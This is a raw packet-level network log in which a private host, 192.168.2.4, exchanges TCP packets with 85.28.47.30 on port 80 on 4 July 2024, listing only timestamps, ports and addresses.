Jul 4, 2024 20:33:58.573451996 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.573462009 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.573472023 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.573487043 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.573496103 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.573504925 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.573508978 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.573514938 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.573529959 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.573540926 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.573549986 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.573556900 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.573592901 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.573626995 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.573637962 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.573652029 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.573661089 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.573671103 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.573673010 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.573698997 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.573713064 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.585726023 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.585743904 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.585752964 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.585792065 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.585810900 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.585880995 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.585890055 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.585900068 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.585910082 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.585928917 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.585942984 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.585969925 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.596082926 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.596091986 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.596102953 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.596153975 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.596163988 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.596174955 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.596185923 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.596195936 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.596196890 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.596282005 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.596297979 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.596309900 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.596318960 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.596357107 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.596357107 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.596357107 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.596357107 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.596370935 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.596381903 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.596390963 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.596401930 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.596412897 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.596412897 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.596422911 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.596446991 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.596465111 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.596474886 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.596489906 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.596491098 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.596517086 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.596528053 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.596584082 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.596595049 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.596605062 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.596615076 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.596626043 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.596631050 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.596637011 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.596647024 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.596653938 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.596678019 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.596689939 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.596719980 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.596776009 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.596786976 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.596796036 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.596822023 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.596833944 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.601490021 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.601531982 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.601547956 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.601557016 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.601583004 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.601594925 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.601757050 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.601774931 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.601787090 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.601800919 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.601820946 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.601821899 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.601835012 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.601840973 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.601861000 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.601871967 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.601882935 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.601882935 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.601893902 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.601922035 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.601933002 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.601933002 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.601943016 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.601970911 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.601993084 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.602065086 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.602076054 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.602086067 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.602096081 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.602108002 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.602118969 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.602122068 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.602130890 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.602150917 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.602174044 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.602175951 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.602186918 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.602196932 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.602207899 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.602217913 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.602227926 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.602236986 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.602248907 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.602261066 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.602266073 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.602272987 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.602283955 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.602287054 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.602296114 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.602305889 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.602314949 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.602346897 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.602365971 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.602376938 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.602386951 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.602396965 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.602407932 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.602408886 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.602420092 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.602442026 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.602468014 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.602498055 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.602514982 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.602524042 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.602535009 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.602543116 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.602545977 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.602555990 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.602566004 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.602570057 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.602581024 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.602591991 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.602596998 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.602602959 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.602616072 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.602641106 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.602662086 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.602674007 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.602690935 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.602701902 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.602705956 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.602711916 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.602720976 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.602731943 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.602741957 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.602741957 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.602754116 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.602765083 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.602771997 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.602775097 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.602787018 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.602792978 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.602812052 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.602838039 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.667308092 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.667319059 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.667332888 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.667342901 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.667359114 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.667368889 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.667381048 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.667381048 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.667435884 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.667503119 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.667546988 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.667572021 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.667588949 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.667599916 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.667609930 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.667612076 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.667629004 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.667644024 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.667648077 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.667655945 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.667691946 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.679447889 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.679466963 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.679514885 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.679524899 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.679536104 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.679537058 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.679569960 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.679588079 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.679605961 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.679615974 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.679626942 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.679647923 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.679670095 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.692234039 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.692251921 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.692297935 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.692338943 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.692358971 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.692377090 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.692387104 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.692401886 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.692404985 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.692411900 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.692421913 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.692425013 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.692431927 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.692442894 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.692444086 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.692451954 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.692461967 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.692471027 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.692472935 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.692487001 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.692491055 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.692497969 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.692518950 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.692531109 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.692543983 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.692570925 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.692701101 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.692711115 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.692720890 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.692729950 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.692739964 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.692744970 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.692751884 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.692764997 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.692792892 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.692850113 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.692861080 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.692871094 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.692881107 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.692894936 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.692895889 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.692907095 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.692926884 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.692955017 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.692992926 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.693003893 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.693041086 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.693068027 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.697335005 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.697351933 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.697364092 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.697372913 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.697384119 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.697393894 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.697402000 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.697406054 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.697417021 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.697427034 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.697436094 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.697478056 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.697495937 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.697506905 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.697518110 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.697540998 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.697570086 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.697711945 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.697729111 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.697745085 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.697755098 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.697762012 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.697765112 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.697776079 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.697793007 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.697823048 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.697906017 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.697922945 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.697932959 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.697942972 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.697947025 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.697953939 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.697964907 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.697974920 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.697976112 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.697984934 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.697994947 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.698004961 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.698009014 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.698015928 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.698024035 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.698026896 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.698036909 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.698046923 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.698055029 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.698065996 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.698067904 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.698076010 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.698086023 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.698091030 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.698096991 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.698107004 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.698118925 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.698141098 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.698246002 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.698257923 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.698266983 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.698276997 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.698292017 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.698297977 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.698308945 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.698318005 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.698328018 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.698328018 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.698338032 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.698347092 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.698358059 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.698365927 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.698369980 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.698391914 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.698415041 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:59.001395941 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:59.001395941 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:59.006469965 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:59.006484985 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:59.006493092 CEST	80	49730	85.28.47.30	192.168.2.4
